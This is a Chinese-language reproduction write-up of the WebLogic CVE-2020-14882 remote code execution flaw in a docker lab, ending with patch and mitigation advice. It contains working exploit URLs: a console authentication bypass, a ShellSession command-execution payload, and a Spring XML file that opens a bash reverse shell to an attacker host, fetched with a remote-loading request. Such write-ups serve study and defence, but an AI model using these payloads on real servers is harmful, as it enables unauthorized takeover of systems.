CVE-2020-14882 WebLogic远程代码执行漏洞

1.漏洞描述

2020年10月28日，Oracle发布的10月安全更新中的Oracle WebLogic Server 远程代码执行漏洞（CVE-
2020-14882）POC被公开，远程攻击者可以通过发送恶意的HTTP GET 请求。成功利用此漏洞的攻击者
可在未经身份验证的情况下控制 WebLogic Server Console ，并执行任意代码。
2020年10月29日, Oracle发布的漏洞补丁CVE-2020-14882存在可绕过的0day漏洞。即在Weblogic补丁
更新完成后，攻击者仍可绕过WebLogic后台登录等限制，并控制Weblogic服务器。

2.影响版本

Oracle Weblogic Server 10.3.6.0.0
Oracle Weblogic Server 12.1.3.0.0
Oracle Weblogic Server 12.2.1.3.0
Oracle Weblogic Server 12.2.1.4.0
Oracle Weblogic Server 14.1.1.0.0

3.漏洞复现

首先进入CVE-2020-14882的docker环境

sudo docker-compose up -d

构造url 达到未授权登录

http://192.168.0.159:7001/console/images/%252E%252E%252Fconsole.portal?
_nfpb=true&_pageLabel=AppDeploymentsControlPage&handle=com.bea.console.handles.J
MXHandle%28%22com.bea%3AName%3Dbase_domain%2CType%3DDomain%22%29

访问即可进入后台，达到未授权访问的效果

但是这里没有部署安装的按钮，也就是说不能像常规进入后台后写shell进去，这里就需要用到远程加载
XML文件拿shell

首先测试以下漏洞代码执行是否成功，在/tmp/下创建一个test文件夹

http://192.168.0.159:7001//console/images/%252E%252E%252Fconsole.portal?
_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSess
ion(%22java.lang.Runtime.getRuntime().exec(%27touch%20/tmp/test%27);%22);

sudo docker exec -it cve202014882_weblogic_1 /bin/bash

# reverse-bash.xml
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>/bin/bash</value>
<value>-c</value>
<value><![CDATA[bash -i >& /dev/tcp/192.168.0.182/9999 0>&1]]></value>
</list>
</constructor-arg>
</bean>
</beans>

nc开启监听端口，访问

nc -lvnp 9999

http://192.168.0.159:7001/console/images/%252E%252E%252Fconsole.portal?
_nfpb=true&_pageLabel=HomePage1&handle=com.bea.core.repackaged.springframework.c
ontext.support.ClassPathXmlApplicationContext("http://192.168.0.182/reversebash.xml")

4.修复方案

修复建议

安装官方最新补丁进行升级：

https://www.oracle.com/security-alerts/cpuapr2020.html

临时措施：

由于该漏洞的补丁存在被绕过的风险，建议临时关闭后台/console/console.portal对外访问。